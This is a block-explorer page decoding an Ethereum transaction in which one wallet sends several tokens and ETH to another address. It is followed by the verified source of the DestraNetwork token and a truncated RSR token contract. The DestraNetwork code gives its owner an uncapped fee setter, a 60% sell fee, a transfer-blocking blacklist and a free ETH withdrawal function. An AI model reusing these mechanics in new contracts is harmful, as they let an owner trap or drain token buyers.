ETH Price: $2,421.41 (-1.09%)

Transaction Decoder

Block:
22796687 at Jun-27-2025 03:31:59 PM +UTC
Transaction Fee:
0.001581108077981052 ETH $3.83
Gas Used:
332,307 Gas / 4.757974036 Gwei

Emitted Events:

92 DestraNetwork.Transfer( from=[Receiver] 0x9d81566667038383b8f86ca692baabf2146163f3, to=0x00005EeD9cB1e3769e477cc794E3562e747c0000, value=5380030152642969301776 )
93 RSR.Transfer( from=0x0000000000000000000000000000000000000000, to=[Receiver] 0x9d81566667038383b8f86ca692baabf2146163f3, value=0 )
94 RSR.Transfer( from=[Receiver] 0x9d81566667038383b8f86ca692baabf2146163f3, to=0x00005EeD9cB1e3769e477cc794E3562e747c0000, value=95253940461092515532374 )
95 Chain.Transfer( from=[Receiver] 0x9d81566667038383b8f86ca692baabf2146163f3, to=0x00005EeD9cB1e3769e477cc794E3562e747c0000, value=5424243313295728664250 )
96 0x00005eed9cb1e3769e477cc794e3562e747c0000.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000009d81566667038383b8f86ca692baabf2146163f3, 00000000000000000000000000000000000000000000021e19e0c9bab2400000 )

Account State Difference:

  Address   Before After State Difference Code
0x00005EeD...e747c0000 0.213441185987185289 Eth0.378671458970931003 Eth0.165230272983745714
0x320623b8...4E78B5d70
(Titan Builder)
7.703806027331888872 Eth7.704470641331888872 Eth0.000664614
0x9D815666...2146163f3
0.203018672675482721 Eth
Nonce: 263
0.036207291613755955 Eth
Nonce: 265
0.166811381061726766From: 0 To: 22892026855592066050609947431602401211538835161166308139
0xA2cd3D43...1ED94fb18
0xf94e7d07...56d3f91CC

Execution Trace

0x9d81566667038383b8f86ca692baabf2146163f3.e9ae5c53( )
  • DestraNetwork.transfer( recipient=0x00005EeD9cB1e3769e477cc794E3562e747c0000, amount=5380030152642969301776 ) => ( True )
  • RSR.transfer( recipient=0x00005EeD9cB1e3769e477cc794E3562e747c0000, amount=95253940461092515532374 ) => ( True )
    • ReserveRightsToken.balanceOf( owner=0x9D81566667038383B8F86Ca692baaBf2146163f3 ) => ( 0 )
    • Chain.transfer( to=0x00005EeD9cB1e3769e477cc794E3562e747c0000, value=5424243313295728664250 ) => ( True )
    • ETH 0.165230272983745714 0x00005eed9cb1e3769e477cc794e3562e747c0000.8bf4eff3( )
      • StorageContract.CALL( )
      • 0x00005eed9cb1e3769e477cc794e3562e747c0000.88417d5c( )
        File 1 of 5: DestraNetwork
        /** 
        Website: https://destra.network
        Telegram: https://t.me/DestraNetwork
        Twitter: https://x.com/destranetwork
        **/
        
        // SPDX-License-Identifier: MIT
        
        pragma solidity 0.8.17;
        
        library Address {
          function isContract(address account) internal view returns (bool) {
            return account.code.length > 0;
          }
        
          function sendValue(address payable recipient, uint256 amount) internal {
            require(address(this).balance >= amount, "Address: insufficient balance");
        
            (bool success, ) = recipient.call{value: amount}("");
            require(
              success,
              "Address: unable to send value, recipient may have reverted"
            );
          }
        
          function functionCall(
            address target,
            bytes memory data
          ) internal returns (bytes memory) {
            return
              functionCallWithValue(target, data, 0, "Address: low-level call failed");
          }
        
          function functionCall(
            address target,
            bytes memory data,
            string memory errorMessage
          ) internal returns (bytes memory) {
            return functionCallWithValue(target, data, 0, errorMessage);
          }
        
          function functionCallWithValue(
            address target,
            bytes memory data,
            uint256 value
          ) internal returns (bytes memory) {
            return
              functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
              );
          }
        
          function functionCallWithValue(
            address target,
            bytes memory data,
            uint256 value,
            string memory errorMessage
          ) internal returns (bytes memory) {
            require(
              address(this).balance >= value,
              "Address: insufficient balance for call"
            );
            (bool success, bytes memory returndata) = target.call{value: value}(data);
            return
              verifyCallResultFromTarget(target, success, returndata, errorMessage);
          }
        
          function functionStaticCall(
            address target,
            bytes memory data
          ) internal view returns (bytes memory) {
            return
              functionStaticCall(target, data, "Address: low-level static call failed");
          }
        
          function functionStaticCall(
            address target,
            bytes memory data,
            string memory errorMessage
          ) internal view returns (bytes memory) {
            (bool success, bytes memory returndata) = target.staticcall(data);
            return
              verifyCallResultFromTarget(target, success, returndata, errorMessage);
          }
        
          function functionDelegateCall(
            address target,
            bytes memory data
          ) internal returns (bytes memory) {
            return
              functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
              );
          }
        
          function functionDelegateCall(
            address target,
            bytes memory data,
            string memory errorMessage
          ) internal returns (bytes memory) {
            (bool success, bytes memory returndata) = target.delegatecall(data);
            return
              verifyCallResultFromTarget(target, success, returndata, errorMessage);
          }
        
          function verifyCallResultFromTarget(
            address target,
            bool success,
            bytes memory returndata,
            string memory errorMessage
          ) internal view returns (bytes memory) {
            if (success) {
              if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
              }
              return returndata;
            } else {
              _revert(returndata, errorMessage);
            }
          }
        
          function verifyCallResult(
            bool success,
            bytes memory returndata,
            string memory errorMessage
          ) internal pure returns (bytes memory) {
            if (success) {
              return returndata;
            } else {
              _revert(returndata, errorMessage);
            }
          }
        
          function _revert(
            bytes memory returndata,
            string memory errorMessage
          ) private pure {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
              // The easiest way to bubble the revert reason is using memory via assembly
              /// @solidity memory-safe-assembly
              assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
              }
            } else {
              revert(errorMessage);
            }
          }
        }
        
        abstract contract Context {
          function _msgSender() internal view virtual returns (address) {
            return msg.sender;
          }
        
          function _msgData() internal view virtual returns (bytes calldata) {
            return msg.data;
          }
        }
        
        interface IERC20 {
          function totalSupply() external view returns (uint256);
        
          function balanceOf(address account) external view returns (uint256);
        
          function transfer(address recipient, uint256 amount) external returns (bool);
        
          function allowance(
            address owner,
            address spender
          ) external view returns (uint256);
        
          function approve(address spender, uint256 amount) external returns (bool);
        
          function transferFrom(
            address sender,
            address recipient,
            uint256 amount
          ) external returns (bool);
        
          event Transfer(address indexed from, address indexed to, uint256 value);
          event Approval(address indexed owner, address indexed spender, uint256 value);
        }
        
        interface IDEXFactory {
          function createPair(
            address tokenA,
            address tokenB
          ) external returns (address pair);
        }
        
        interface IDEXRouter {
          function factory() external pure returns (address);
        
          function WETH() external pure returns (address);
        
          function addLiquidityETH(
            address token,
            uint amountTokenDesired,
            uint amountTokenMin,
            uint amountETHMin,
            address to,
            uint deadline
          ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
        
          function swapExactTokensForETHSupportingFeeOnTransferTokens(
            uint amountIn,
            uint amountOutMin,
            address[] calldata path,
            address to,
            uint deadline
          ) external;
        }
        
        abstract contract Ownable is Context {
          address private _owner;
        
          event OwnershipTransferred(
            address indexed previousOwner,
            address indexed newOwner
          );
        
          constructor() {
            _transferOwnership(_msgSender());
          }
        
          modifier onlyOwner() {
            _checkOwner();
            _;
          }
        
          function owner() public view virtual returns (address) {
            return _owner;
          }
        
          function _checkOwner() internal view virtual {
            require(owner() == _msgSender(), "Ownable: caller is not the owner");
          }
        
          function renounceOwnership() public virtual onlyOwner {
            _transferOwnership(address(0));
          }
        
          function transferOwnership(address newOwner) public virtual onlyOwner {
            require(newOwner != address(0), "Ownable: new owner is the zero address");
            _transferOwnership(newOwner);
          }
        
          function _transferOwnership(address newOwner) internal virtual {
            address oldOwner = _owner;
            _owner = newOwner;
            emit OwnershipTransferred(oldOwner, newOwner);
          }
        }
        
        contract DestraNetwork is IERC20, Ownable {
          using Address for address;
        
          address DEAD = 0x000000000000000000000000000000000000dEaD;
          address ZERO = 0x0000000000000000000000000000000000000000;
        
          string constant _name = "Destra Network";
          string constant _symbol = "DSync";
          uint8 constant _decimals = 18;
        
          uint256 _totalSupply = 1_000_000_000 * (10 ** _decimals);
          uint256 _maxBuyTxAmount = (_totalSupply * 1) / 100;
          uint256 _maxSellTxAmount = (_totalSupply * 1) / 100;
          uint256 _maxWalletSize = (_totalSupply * 1) / 100;
        
          mapping(address => uint256) _balances;
          mapping(address => mapping(address => uint256)) _allowances;
        
          mapping(uint256 => uint256) public swapBackCounter;
          uint256 public swapBackRateLimit = 3;
        
          mapping(address => bool) public isFeeExempt;
          mapping(address => bool) public isTxLimitExempt;
          mapping(address => bool) public isLiquidityCreator;
        
          uint256 marketingBuyFee = 500;
          uint256 marketingSellFee = 6000;
          uint256 liquidityBuyFee = 0;
          uint256 liquiditySellFee = 0;
          uint256 totalBuyFee = marketingBuyFee + liquidityBuyFee;
          uint256 totalSellFee = marketingSellFee + liquiditySellFee;
          uint256 feeDenominator = 10000;
        
          bool public transferTax = false;
        
          address payable public liquidityFeeReceiver = payable(0xa75bFFD82FFE8A5064A5b6122448221aCEbCf950);
          address payable public marketingFeeReceiver = payable(0xa75bFFD82FFE8A5064A5b6122448221aCEbCf950);
        
          IDEXRouter public router;
          address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
          mapping(address => bool) liquidityPools;
          address public pair;
        
          mapping(address => uint256) public blacklist;
          uint256 public blacklistCount;
        
          uint256 public launchBlock;
          uint256 public launchTimestamp;
          bool isTradingEnabled = false;
        
          bool public swapEnabled = false;
          uint256 public swapThreshold = _totalSupply / 1000;
          uint256 public swapAtMinimum = _totalSupply / 10000;
          bool inSwap;
        
          modifier swapping() {
            inSwap = true;
            _;
            inSwap = false;
          }
        
          mapping(address => bool) teamMembers;
        
          modifier onlyTeam() {
            require(
              teamMembers[_msgSender()] || msg.sender == owner(),
              "Caller is not a team member"
            );
            _;
          }
        
          event WalletBlacklisted(address, address, uint256);
        
          constructor() {
            router = IDEXRouter(routerAddress);
            pair = IDEXFactory(router.factory()).createPair(
              router.WETH(),
              address(this)
            );
            liquidityPools[pair] = true;
            _allowances[owner()][routerAddress] = type(uint256).max;
            _allowances[address(this)][routerAddress] = type(uint256).max;
        
            isFeeExempt[owner()] = true;
            isLiquidityCreator[owner()] = true;
        
            isTxLimitExempt[address(this)] = true;
            isTxLimitExempt[owner()] = true;
            isTxLimitExempt[routerAddress] = true;
            isTxLimitExempt[DEAD] = true;
        
            _balances[owner()] = _totalSupply;
        
            emit Transfer(address(0), owner(), _totalSupply);
          }
        
          receive() external payable {}
        
          function totalSupply() external view override returns (uint256) {
            return _totalSupply;
          }
        
          function decimals() external pure returns (uint8) {
            return _decimals;
          }
        
          function symbol() external pure returns (string memory) {
            return _symbol;
          }
        
          function name() external pure returns (string memory) {
            return _name;
          }
        
          function getOwner() external view returns (address) {
            return owner();
          }
        
          function maxBuyTxTokens() external view returns (uint256) {
            return _maxBuyTxAmount / (10 ** _decimals);
          }
        
          function maxSellTxTokens() external view returns (uint256) {
            return _maxSellTxAmount / (10 ** _decimals);
          }
        
          function maxWalletTokens() external view returns (uint256) {
            return _maxWalletSize / (10 ** _decimals);
          }
        
          function balanceOf(address account) public view override returns (uint256) {
            return _balances[account];
          }
        
          function allowance(
            address holder,
            address spender
          ) external view override returns (uint256) {
            return _allowances[holder][spender];
          }
        
          function approve(
            address spender,
            uint256 amount
          ) public override returns (bool) {
            _allowances[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
          }
        
          function approveMaxAmount(address spender) external returns (bool) {
            return approve(spender, type(uint256).max);
          }
        
          function setTeamMember(address _team, bool _enabled) external onlyOwner {
            teamMembers[_team] = _enabled;
          }
        
          function airdrop(
            address[] calldata addresses,
            uint256[] calldata amounts
          ) external onlyOwner {
            require(addresses.length > 0 && amounts.length == addresses.length);
            address from = msg.sender;
        
            for (uint i = 0; i < addresses.length; i++) {
              if (!liquidityPools[addresses[i]] && !isLiquidityCreator[addresses[i]]) {
                _basicTransfer(from, addresses[i], amounts[i] * (10 ** _decimals));
              }
            }
          }
        
          function clearStuckBalance(
            uint256 amountPercentage,
            address adr
          ) external onlyTeam {
            uint256 amountETH = address(this).balance;
        
            if (amountETH > 0) {
              (bool sent, ) = adr.call{value: (amountETH * amountPercentage) / 100}("");
              require(sent, "Failed to transfer funds");
            }
          }
        
          function blacklistWallets(
            address[] calldata _wallets,
            bool _blacklist
          ) external onlyTeam {
            for (uint i = 0; i < _wallets.length; i++) {
              if (_blacklist) {
                blacklistCount++;
                emit WalletBlacklisted(tx.origin, _wallets[i], block.number);
              } else {
                if (blacklist[_wallets[i]] != 0) blacklistCount--;
              }
              blacklist[_wallets[i]] = _blacklist ? block.number : 0;
            }
          }
        
          function transfer(
            address recipient,
            uint256 amount
          ) external override returns (bool) {
            return _transferFrom(msg.sender, recipient, amount);
          }
        
          function transferFrom(
            address sender,
            address recipient,
            uint256 amount
          ) external override returns (bool) {
            if (_allowances[sender][msg.sender] != type(uint256).max) {
              _allowances[sender][msg.sender] =
                _allowances[sender][msg.sender] -
                amount;
            }
        
            return _transferFrom(sender, recipient, amount);
          }
        
          function _transferFrom(
            address sender,
            address recipient,
            uint256 amount
          ) internal returns (bool) {
            require(sender != address(0), "ERC20: transfer from 0x0");
            require(recipient != address(0), "ERC20: transfer to 0x0");
            require(amount > 0, "Amount must be > zero");
            require(_balances[sender] >= amount, "Insufficient balance");
            if (!launched() && liquidityPools[recipient]) {
              require(isLiquidityCreator[sender], "Liquidity not added yet.");
              launch();
            }
            if (!isTradingEnabled) {
              require(
                isLiquidityCreator[sender] || isLiquidityCreator[recipient],
                "Trading is not launched yet."
              );
            }
        
            checkTxLimit(sender, recipient, amount);
        
            if (!liquidityPools[recipient] && recipient != DEAD) {
              if (!isTxLimitExempt[recipient]) {
                checkWalletLimit(recipient, amount);
              }
            }
        
            if (inSwap) {
              return _basicTransfer(sender, recipient, amount);
            }
        
            _balances[sender] = _balances[sender] - amount;
        
            uint256 amountReceived = amount;
        
            if (shouldTakeFee(sender, recipient)) {
              amountReceived = takeFee(recipient, amount);
              if (shouldSwapBack(recipient) && amount > 0) swapBack(amount);
            }
        
            _balances[recipient] = _balances[recipient] + amountReceived;
        
            emit Transfer(sender, recipient, amountReceived);
            return true;
          }
        
          function launched() internal view returns (bool) {
            return launchBlock != 0;
          }
        
          function launch() internal {
            launchBlock = block.number;
            launchTimestamp = block.timestamp;
          }
        
          function openTrading() external onlyTeam {
            require(!isTradingEnabled, "Can't re-open trading");
            isTradingEnabled = true;
            swapEnabled = true;
          }
        
          function _basicTransfer(
            address sender,
            address recipient,
            uint256 amount
          ) internal returns (bool) {
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + amount;
            emit Transfer(sender, recipient, amount);
            return true;
          }
        
          function checkWalletLimit(address recipient, uint256 amount) internal view {
            uint256 walletLimit = _maxWalletSize;
            require(
              _balances[recipient] + amount <= walletLimit,
              "Amount exceeds the max wallet size."
            );
          }
        
          function checkTxLimit(
            address sender,
            address recipient,
            uint256 amount
          ) internal view {
            if (isTxLimitExempt[sender] || isTxLimitExempt[recipient]) return;
        
            require(
              amount <= (liquidityPools[sender] ? _maxBuyTxAmount : _maxSellTxAmount),
              "Amount exceeds the tx limit."
            );
        
            require(blacklist[sender] == 0, "Wallet blacklisted!");
          }
        
          function shouldTakeFee(
            address sender,
            address recipient
          ) public view returns (bool) {
            if (!transferTax && !liquidityPools[recipient] && !liquidityPools[sender])
              return false;
            return !isFeeExempt[sender] && !isFeeExempt[recipient];
          }
        
          function getTotalFee(bool selling) public view returns (uint256) {
            if (selling) return totalSellFee;
            return totalBuyFee;
          }
        
          function takeFee(
            address recipient,
            uint256 amount
          ) internal returns (uint256) {
            bool selling = liquidityPools[recipient];
            uint256 feeAmount = (amount * getTotalFee(selling)) / feeDenominator;
        
            _balances[address(this)] += feeAmount;
        
            return amount - feeAmount;
          }
        
          function shouldSwapBack(address recipient) internal view returns (bool) {
            return
              !liquidityPools[msg.sender] &&
              !inSwap &&
              swapEnabled &&
              swapBackCounter[block.number] < swapBackRateLimit &&
              liquidityPools[recipient] &&
              _balances[address(this)] >= swapAtMinimum &&
              totalBuyFee + totalSellFee > 0;
          }
        
          function swapBack(uint256 amount) internal swapping {
            uint256 totalFee = totalBuyFee + totalSellFee;
            uint256 amountToSwap = amount < swapThreshold ? amount : swapThreshold;
            if (_balances[address(this)] < amountToSwap)
              amountToSwap = _balances[address(this)];
        
            uint256 totalLiquidityFee = liquidityBuyFee + liquiditySellFee;
            uint256 amountToLiquify = ((amountToSwap * totalLiquidityFee) / 2) /
              totalFee;
            amountToSwap -= amountToLiquify;
        
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = router.WETH();
        
            uint256 balanceBefore = address(this).balance;
        
            router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              amountToSwap,
              0,
              path,
              address(this),
              block.timestamp
            );
        
            uint256 amountETH = address(this).balance - balanceBefore;
            uint256 totalETHFee = totalFee - (totalLiquidityFee / 2);
        
            uint256 amountETHLiquidity = ((amountETH * totalLiquidityFee) / 2) /
              totalETHFee;
            uint256 amountETHMarketing = amountETH - amountETHLiquidity;
        
            if (amountETHMarketing > 0) {
              (bool sentMarketing, ) = marketingFeeReceiver.call{
                value: amountETHMarketing
              }("");
              if (!sentMarketing) {
                //Failed to transfer to marketing wallet
              }
            }
        
            if (amountToLiquify > 0) {
              router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                liquidityFeeReceiver,
                block.timestamp
              );
            }
            swapBackCounter[block.number] = swapBackCounter[block.number] + 1;
            emit FundsDistributed(
              amountETHMarketing,
              amountETHLiquidity,
              amountToLiquify
            );
          }
        
          function addLiquidityPool(address lp, bool isPool) external onlyOwner {
            require(lp != pair, "Can't alter current liquidity pair");
            liquidityPools[lp] = isPool;
          }
        
          function setSwapBackRateLimit(uint256 rate) external onlyOwner {
            swapBackRateLimit = rate;
          }
        
          function setTxLimit(
            uint256 buyNumerator,
            uint256 sellNumerator,
            uint256 divisor
          ) external onlyOwner {
            require(
              buyNumerator > 0 && sellNumerator > 0 && divisor > 0 && divisor <= 10000
            );
            _maxBuyTxAmount = (_totalSupply * buyNumerator) / divisor;
            _maxSellTxAmount = (_totalSupply * sellNumerator) / divisor;
          }
        
          function setMaxWallet(uint256 numerator, uint256 divisor) external onlyOwner {
            require(numerator > 0 && divisor > 0 && divisor <= 10000);
            _maxWalletSize = (_totalSupply * numerator) / divisor;
          }
        
          function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
            isFeeExempt[holder] = exempt;
          }
        
          function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
            isTxLimitExempt[holder] = exempt;
          }
        
          function setFees(
            uint256 _liquidityBuyFee,
            uint256 _liquiditySellFee,
            uint256 _marketingBuyFee,
            uint256 _marketingSellFee,
            uint256 _feeDenominator
          ) external onlyOwner {
            require(
              ((_liquidityBuyFee + _liquiditySellFee) / 2) * 2 ==
                (_liquidityBuyFee + _liquiditySellFee),
              "Liquidity fee must be an even number for rounding compatibility."
            );
            liquidityBuyFee = _liquidityBuyFee;
            liquiditySellFee = _liquiditySellFee;
            marketingBuyFee = _marketingBuyFee;
            marketingSellFee = _marketingSellFee;
            totalBuyFee = _liquidityBuyFee + _marketingBuyFee;
            totalSellFee = _liquiditySellFee + _marketingSellFee;
            feeDenominator = _feeDenominator;
            emit FeesSet(totalBuyFee, totalSellFee, feeDenominator);
          }
        
          function toggleTransferTax() external onlyOwner {
            transferTax = !transferTax;
          }
        
          function setFeeReceivers(
            address _liquidityFeeReceiver,
            address _marketingFeeReceiver
          ) external onlyOwner {
            liquidityFeeReceiver = payable(_liquidityFeeReceiver);
            marketingFeeReceiver = payable(_marketingFeeReceiver);
          }
        
          function setSwapBackSettings(
            bool _enabled,
            uint256 _denominator,
            uint256 _swapAtMinimum
          ) external onlyOwner {
            require(_denominator > 0);
            swapEnabled = _enabled;
            swapThreshold = _totalSupply / _denominator;
            swapAtMinimum = _swapAtMinimum * (10 ** _decimals);
          }
        
          function getCirculatingSupply() public view returns (uint256) {
            return _totalSupply - (balanceOf(DEAD) + balanceOf(ZERO));
          }
        
          event FundsDistributed(
            uint256 marketingETH,
            uint256 liquidityETH,
            uint256 liquidityTokens
          );
          event FeesSet(
            uint256 totalBuyFees,
            uint256 totalSellFees,
            uint256 denominator
          );
        }

        File 2 of 5: RSR
        // SPDX-License-Identifier: BlueOak-1.0.0
        pragma solidity 0.8.4;
        import "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol";
        import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol";
        import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
        import "@openzeppelin/contracts/security/Pausable.sol";
        import "@openzeppelin/contracts/access/Ownable.sol";
        import "./Enchantable.sol";
        /**
         * @title RSR
         * An ERC20 insurance token for the Reserve Protocol ecosystem, using the copy-on-write
         * pattern to enable a ugprade from the old RSR token.
         * This token allows the configuration of a rich system of "siphons" to administer the
         * copy pattern of some holder addresses, before the token goes into its WORKING phase.
         */
        contract RSR is Pausable, Ownable, Enchantable, ERC20Permit {
            using EnumerableSet for EnumerableSet.AddressSet;
            ERC20Pausable public immutable oldRSR;
            /// weight scale
            /// A uint64 value `w` is a _weight_, and it represents the fractional value `w / WEIGHT_ONE`.
            uint64 public constant WEIGHT_ONE = 1e18;
            /// fixedSupply inherited from oldRSR contract
            /// Note that due to lost dust crossing, it's possible sum(_balances) < fixedSupply
            uint256 private immutable fixedSupply;
            /** Operational Lifecycle
            The contract is initially deployed into SETUP. During the SETUP phase:
            - admins can configure siphons
            - no ERC20 operations can happen
            - the contract is always paused
            The contract can transition from SETUP to WORKING only after oldRSR is paused.
            During that transition, the owner is set to the zero address.
            In the WORKING phase:
            - siphons cannot be changed
            - ERC20 operations happen as usual
            - the pauser can pause and unpause the contract
            Once in WORKING, the contract cannot move back to SETUP.
            */
            enum Phase {
                SETUP,
                WORKING
            }
            Phase public phase;
            /// Pausing
            /// Note well that, because of the above about lifecycle phase, whenNotPaused implies isWorking.
            event PauserChanged(address indexed oldPauser, address newPauser);
            address public pauser;
            /** @dev
            Relative Immutability
            =====================
            We assume that, once OldRSR is paused, its paused status, balances, and allowances
            are immutable, and this contract's values for hasWeights, weights, and origins
            are immutable as well.
            Before OldRSR is paused, the booleans in balCrossed and allownceCrossed are all
            false (immutable). After OldRSR is paused, the entries in those maps can change to true.
            Once the entry value is true, it remains immutable.
            */
            /// weights: map(OldRSR addr -> RSR addr -> uint64 weight)
            /// weights[A][B] is the fraction of A's old balance that should be forwarded to B.
            mapping(address => mapping(address => uint64)) public weights;
            /// Invariant:
            /// For all OldRSR addresses A,
            /// if !hasWeights[A], then for all RSR Addresses B, weights[A][B] == 0
            /// if hasWeights[A], then sum_{all RSR addresses B} (weights[A][B]) == WEIGHT_ONE
            ///
            /// hasWeights: map(OldRSR addr -> bool)
            /// If !hasWeights[A], then A's OldRSR balances should be forwarded as by default.
            /// If hasWeights[A], then A's OldRSR balances should be forwarded as by weights[A][_]
            mapping(address => bool) public hasWeights;
            /// Invariant: For all A and B, if weights[A][B] > 0, then A is in origins[B]
            ///
            /// origins: map(RSR addr -> set(OldRSR addr))
            mapping(address => EnumerableSet.AddressSet) private origins;
            /// balCrossed[A]: true if and only if OldRSR address "A" has already crossed
            mapping(address => bool) public balCrossed;
            /// allowanceCrossed[A][B]: true if and only if oldRSR.allowances[A][B] has crossed
            mapping(address => mapping(address => bool)) public allowanceCrossed;
            /** @dev A few mathematical functions, so we can be really precise here:
            totalWeight(A, B) = (hasWeights[A] ? weights[A][B] : ((A == B) ? WEIGHT_ONE : 0))
            inheritedBalance(A) = sum_{all addrs B} ( oldRSR.balanceOf(A) * totalWeight(A,B) / WEIGHT_ONE )
            # Properties of balances:
            For all RSR addresses "A":
            - If OldRSR is not yet paused, balCrossed[A] is `false`.
            - Once balCrossed[A] is `true`, it stays `true` forever.
            - balanceOf(A) == this._balances[A] + (balCrossed[A] ? inheritedBalance(A) : 0)
            - The function `balanceOf` satisfies all the usual rules for ERC20 tokens.
            # Properties of allowances:
            For all addresses A and B,
            - If OldRSR is not yet paused, then allowanceCrossed[A][B] is false
            - Once allowanceCrossed[A][B] == true, it stays true forever
            - allowance(A,B) == allowanceCrossed[A][B] ? this._allowance[A][B] : oldRSR.allowance(A,B)
            - The function `allowance` satisfies all the usual rules for ERC20 tokens.
            */
            constructor(address oldRSR_) ERC20("Reserve Rights", "RSR") ERC20Permit("Reserve Rights") {
                oldRSR = ERC20Pausable(oldRSR_);
                // `totalSupply` for both OldRSR and RSR is fixed and equal
                fixedSupply = ERC20Pausable(oldRSR_).totalSupply();
                pauser = _msgSender();
                _pause();
                phase = Phase.SETUP;
            }
            // ========================= Modifiers =========================
            modifier ensureBalCrossed(address from) {
                if (!balCrossed[from]) {
                    balCrossed[from] = true;
                    _mint(from, _oldBal(from));
                }
                _;
            }
            modifier ensureAllowanceCrossed(address from, address to) {
                if (!allowanceCrossed[from][to]) {
                    allowanceCrossed[from][to] = true;
                    _approve(from, to, oldRSR.allowance(from, to));
                }
                _;
            }
            modifier onlyAdminOrPauser() {
                require(
                    _msgSender() == pauser || _msgSender() == mage() || _msgSender() == owner(),
                    "only pauser, mage, or owner"
                );
                _;
            }
            modifier inWorking() {
                require(phase == Phase.WORKING, "only during working phase");
                _;
            }
            modifier inSetup() {
                require(phase == Phase.SETUP, "only during setup phase");
                _;
            }
            // ========================= Governance =========================
            function moveToWorking() external onlyAdmin inSetup {
                require(oldRSR.paused(), "waiting for oldRSR to pause");
                phase = Phase.WORKING;
                _unpause();
                _transferOwnership(address(0));
            }
            /// Pause ERC20 + ERC2612 functions
            function pause() external onlyAdminOrPauser inWorking {
                _pause();
            }
            /// Unpause ERC20 + ERC2612 functions
            function unpause() external onlyAdminOrPauser inWorking {
                _unpause();
            }
            function changePauser(address newPauser) external onlyAdminOrPauser {
                require(newPauser != address(0), "use renouncePauser");
                emit PauserChanged(pauser, newPauser);
                pauser = newPauser;
            }
            function renouncePauser() external onlyAdminOrPauser {
                emit PauserChanged(pauser, address(0));
                pauser = address(0);
            }
            // ========================= Weight Management =========================
            /// Moves weight from old->prev to old->to
            /// @param from The address that has the balance on OldRSR
            /// @param oldTo The receiving address to siphon tokens away from
            /// @param newTo The receiving address to siphon tokens towards
            /// @param weight A uint between 0 and the current old->prev weight, max WEIGHT_ONE
            function siphon(
                address from,
                address oldTo,
                address newTo,
                uint64 weight
            ) external onlyAdmin inSetup {
                _siphon(from, oldTo, newTo, weight);
            }
            /// Partially crosses an account balance.
            /// Calling this function does not impact final balances after completing account crossing.
            function partiallyCross(address to, uint256 n) public inWorking {
                if (!balCrossed[to]) {
                    while (origins[to].length() > 0 && n > 0) {
                        address from = origins[to].at(origins[to].length() - 1);
                        _mint(to, (oldRSR.balanceOf(from) * weights[from][to]) / WEIGHT_ONE);
                        weights[from][to] = 0;
                        origins[to].remove(from);
                        n -= 1;
                    }
                }
            }
            // ========================= ERC20 + ERC2612 ==============================
            function transfer(address recipient, uint256 amount)
                public
                override
                whenNotPaused
                ensureBalCrossed(_msgSender())
                returns (bool)
            {
                require(recipient != address(this), "no transfers to this token address");
                return super.transfer(recipient, amount);
            }
            function transferFrom(
                address sender,
                address recipient,
                uint256 amount
            )
                public
                override
                whenNotPaused
                ensureBalCrossed(sender)
                ensureAllowanceCrossed(sender, _msgSender())
                returns (bool)
            {
                require(recipient != address(this), "no transfers to this token address");
                return super.transferFrom(sender, recipient, amount);
            }
            function approve(address spender, uint256 amount) public override whenNotPaused returns (bool) {
                _approve(_msgSender(), spender, amount);
                allowanceCrossed[_msgSender()][spender] = true;
                return true;
            }
            function permit(
                address owner,
                address spender,
                uint256 value,
                uint256 deadline,
                uint8 v,
                bytes32 r,
                bytes32 s
            ) public override whenNotPaused {
                super.permit(owner, spender, value, deadline, v, r, s);
                allowanceCrossed[owner][spender] = true;
            }
            function increaseAllowance(address spender, uint256 addedValue)
                public
                override
                whenNotPaused
                ensureAllowanceCrossed(_msgSender(), spender)
                returns (bool)
            {
                return super.increaseAllowance(spender, addedValue);
            }
            function decreaseAllowance(address spender, uint256 subbedValue)
                public
                override
                whenNotPaused
                ensureAllowanceCrossed(_msgSender(), spender)
                returns (bool)
            {
                return super.decreaseAllowance(spender, subbedValue);
            }
            /// @return The fixed total supply of the token
            function totalSupply() public view override returns (uint256) {
                return fixedSupply;
            }
            /// @return The RSR balance of account
            /// @dev The balance we return from balanceOf is the sum of three sources of balances:
            ///     - newly received tokens
            ///     - already-crossed oldRSR balances
            ///     - not-yet-crossed oldRSR balances
            /// super.balanceOf(account) == (newly received tokens + already-crossed oldRSR balances)
            /// if not balCrossed[account], then _oldBal(account) == not-yet-crossed oldRSR balances
            function balanceOf(address account) public view override returns (uint256) {
                if (balCrossed[account]) {
                    return super.balanceOf(account);
                }
                return _oldBal(account) + super.balanceOf(account);
            }
            /// The allowance is a combination of crossing allowance + newly granted allowances
            function allowance(address owner, address spender) public view override returns (uint256) {
                if (allowanceCrossed[owner][spender]) {
                    return super.allowance(owner, spender);
                }
                return oldRSR.allowance(owner, spender);
            }
            // ========================= Internal =============================
            /// Moves weight from old->prev to old->to
            /// @param from The address that has the balance on OldRSR
            /// @param oldTo The receiving address to siphon tokens away from
            /// @param newTo The receiving address newTo siphon tokens towards
            /// @param weight A uint between 0 and the current from->oldTo weight, max WEIGHT_ONE (1e18)
            function _siphon(
                address from,
                address oldTo,
                address newTo,
                uint64 weight
            ) internal {
                /// Ensure that hasWeights[from] is true (base case)
                if (!hasWeights[from]) {
                    origins[from].add(from);
                    weights[from][from] = WEIGHT_ONE;
                    hasWeights[from] = true;
                }
                require(weight <= weights[from][oldTo], "weight too big");
